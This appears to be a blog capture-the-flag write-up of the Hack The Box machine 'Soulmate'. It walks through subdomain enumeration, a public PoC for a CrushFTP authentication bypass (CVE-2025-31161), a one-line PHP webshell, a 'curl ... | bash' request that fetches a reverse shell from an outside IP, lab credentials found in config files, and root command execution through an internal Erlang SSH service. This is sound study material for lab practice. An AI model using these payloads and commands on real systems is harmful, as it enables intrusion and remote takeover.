Hackthebox: Soulmate

Foued SAIDI Lv5

Overview

Soulmate is an easy-difficulty machine from Hack The Box that starts with subdomain enumeration revealing an exposed CrushFTP web interface vulnerable to CVE-2025-31161, an authentication bypass allowing us to create a privileged admin user. Through the admin panel, we change an existing user’s password and upload a webshell to gain initial access. Enumeration reveals hardcoded credentials in a PHP configuration file that grants us SSH access as user ben. For privilege escalation, we discover an Erlang SSH daemon running internally on port 2222 that executes commands with elevated privileges through the Erlang shell, allowing us to read the root flag.

Soulmate-info-card
Soulmate-info-card

Reconnaissance

1
2
3
4
5
6
7
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soulmate.htb/

We can see we have our usual ssh 22 port and a web application deployed on port 80 redirecting us towards soulmate.htb which we will add to /etc/hosts.

Subdomain Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
kujen@kujen:~$ ffuf -w /snap/seclists/current/Discovery/DNS/bitquark-subdomains-top100000.txt -H "Host: FUZZ.soulmate.htb" -u "http://10.10.11.86" -fs 154

/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/

v2.1.0-dev
________________________________________________

:: Method : GET
:: URL : http://10.10.11.86
:: Wordlist : FUZZ: /snap/seclists/current/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.soulmate.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 154
________________________________________________

ftp [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 283ms]

Running ffuf on the host to check if there are any hidden subdomains, we find an ftp subdomain which we will also add to /etc/hosts.

Web Application - CrushFTP WebInterface

Web App
Web App

Checking the source code, we will find the application version:

1
2
3
4
|   |
|---|
|.register("/WebInterface/new-ui/sw.js?v=11.W.657-2025_03_08_07_52")|
||

Doing some googling we will find NVD - CVE-2025-31161 which is an authentication bypass and takeover of the crushadmin account.

We can find this PoC to use

We will run the exploit now to create a privileged user:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
kujen@kujen:~/CVE-2025-31161$ ls
CVE-2025-31161.sh LICENSE README.md requirements.txt
kujen@kujen:~/CVE-2025-31161$ ./C
-bash: ./C: No such file or directory
kujen@kujen:~/CVE-2025-31161$ chmod +x CVE-2025-31161.sh
kujen@kujen:~/CVE-2025-31161$ ./CVE-2025-31161.sh

[+] Usage: ././CVE-2025-31161.sh --url <http://target.com> --port <PORT> --target-user <admin_user> --new-user <new_user> --new-password <password>

[?] Parameters description:

--url Target base URL (e.g., http://target)
--port Port where CrushFTP is running
--target-user Valid or invalid username (e.g., crushadmin)
--new-user Username to be created (e.g., Pwn3d)
--new-password Password for the new user
--help Show this help panel

[i] Example: bash ././CVE-2025-31161.sh --url http://target.com --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345

kujen@kujen:~/CVE-2025-31161$ ./CVE-2025-31161.sh --url http://ftp.soulmate.htb/ --port 80 --target-user crushadmin --new-user evilUser --new-password pass12345

[*] Checking if the server is online... Waiting...

[*] Server is online. Starting preparation phase...
[*] Generating dynamic CrushAuth token...
[i] CrushAuth generated: 1672889411569_o09ZzBWKm2qFdbKFHvqKvMLhYk1892
[*] Sending warm-up request to the server...
[*] Sending user creation payload for 'evilUser'...

[>] User successfully created: evilUser
[*] Credentials:
Username: evilUser
Password: pass12345
kujen@kujen:~/CVE-2025-31161$

Web App
Web App

Web App
Web App

We go to user manager and change ben user password:

Web App
Web App

We go to webProd and upload rev.php reverse shell script:

1
<?php system($_GET['cmd']);?>

We go to http://soulmate.htb/rev.php?cmd=curl+10.10.16.35/rev.sh|bash and get shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
$ pwd
/var/www/soulmate.htb/config
$ ls
config.php
$ cat config.php
<?php
class Database {
private $db_file = '../data/soulmate.db';
private $pdo;

public function __construct() {
$this->connect();
$this->createTables();
}

private function connect() {
try {
// Create data directory if it doesn't exist
$dataDir = dirname($this->db_file);
if (!is_dir($dataDir)) {
mkdir($dataDir, 0755, true);
}

$this->pdo = new PDO('sqlite:' . $this->db_file);
$this->pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$this->pdo->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
} catch (PDOException $e) {
die("Connection failed: " . $e->getMessage());
}
}

private function createTables() {
$sql = "
CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE NOT NULL,
password TEXT NOT NULL,
is_admin INTEGER DEFAULT 0,
name TEXT,
bio TEXT,
interests TEXT,
phone TEXT,
profile_pic TEXT,
last_login DATETIME,
created_at DATETIME DEFAULT CURRENT_TIMESTAMP
)";

$this->pdo->exec($sql);

// Create default admin user if not exists
$adminCheck = $this->pdo->prepare("SELECT COUNT(*) FROM users WHERE username = ?");
$adminCheck->execute(['admin']);

if ($adminCheck->fetchColumn() == 0) {
$adminPassword = password_hash('Crush4dmin990', PASSWORD_DEFAULT);
$adminInsert = $this->pdo->prepare("
INSERT INTO users (username, password, is_admin, name)
VALUES (?, ?, 1, 'Administrator')
");
$adminInsert->execute(['admin', $adminPassword]);
}
}

public function getConnection() {
return $this->pdo;
}
}

// Helper functions
function redirect($path) {
header("Location: $path");
exit();
}

function isLoggedIn() {
return isset($_SESSION['user_id']);
}

function isAdmin() {
return isset($_SESSION['is_admin']) && $_SESSION['is_admin'] == 1;
}

function requireLogin() {
if (!isLoggedIn()) {
redirect('/login');
}
}

function requireAdmin() {
requireLogin();
if (!isAdmin()) {
redirect('/profile');
}
}
?>
$

Checking internally running services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ netstat -anot | head -15
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 127.0.0.1:37147 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:4369 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:45465 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:2222 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8443 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:9090 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8080 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:9090 127.0.0.1:52040 TIME_WAIT timewait (0.00/0/0)
tcp 0 0 127.0.0.1:9090 127.0.0.1:56700 TIME_WAIT timewait (15.39/0/0)
tcp 0 0 172.19.0.1:47168 172.19.0.2:9090 TIME_WAIT timewait (27.04/0/0)
$ nc 127.0.0.1 2222
SSH-2.0-Erlang/5.2.9

We will login into this internal erlang ssh service as ben and then we can run privileged commands:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ cd /usr/local/lib/erlang_login
$ ls
login.escript
start.escript
$ cat start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
application:start(asn1),
application:start(crypto),
application:start(public_key),
application:start(ssh),

io:format("Starting SSH daemon with logging...~n"),

case ssh:daemon(2222, [
{ip, {127,0,0,1}},
{system_dir, "/etc/ssh"},

{user_dir_fun, fun(User) ->
Dir = filename:join("/home", User),
io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
filename:join(Dir, ".ssh")
end},

{connectfun, fun(User, PeerAddr, Method) ->
io:format("Auth success for user: ~p from ~p via ~p~n",
[User, PeerAddr, Method]),
true
end},

{failfun, fun(User, PeerAddr, Reason) ->
io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
[User, PeerAddr, Reason]),
true
end},

{auth_methods, "publickey,password"},

{user_passwords, [{"ben", "HouseH0ldings998"}]},
{idle_time, infinity},
{max_channels, 10},
{max_sessions, 10},
{parallel_login, true}
]) of
{ok, _Pid} ->
io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
{error, Reason} ->
io:format("Failed to start SSH daemon: ~p~n", [Reason])
end,

receive
stop -> ok
end.
1
2
3
4
5
6
$ ssh [email protected]
[email protected]'s password:
Last login: Wed Sep 10 07:27:01 2025 from 10.10.16.35
ben@soulmate:~$ cat user.txt
6ec36ee84548b207aec4a9c658b1f603
ben@soulmate:~$
1
2
3
4
5
6
ben@soulmate:~$ ssh [email protected] -p 2222
[email protected]'s password:
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1> os:cmd("cat /root/root.txt").
"17615be8a4767141b9c62744fcb3513c\n"
(ssh_runner@soulmate)2>

That was it for Soulmate, hope you learned something new!
-0xkujen

  • Title: Hackthebox: Soulmate
  • Author: Foued SAIDI
  • Created at : 2026-02-15 18:29:21
  • Updated at : 2026-02-15 18:33:26
  • Link: https://kujen5.github.io/2026/02/15/Hackthebox-Soulmate/
  • License: This work is licensed under CC BY-NC-SA 4.0.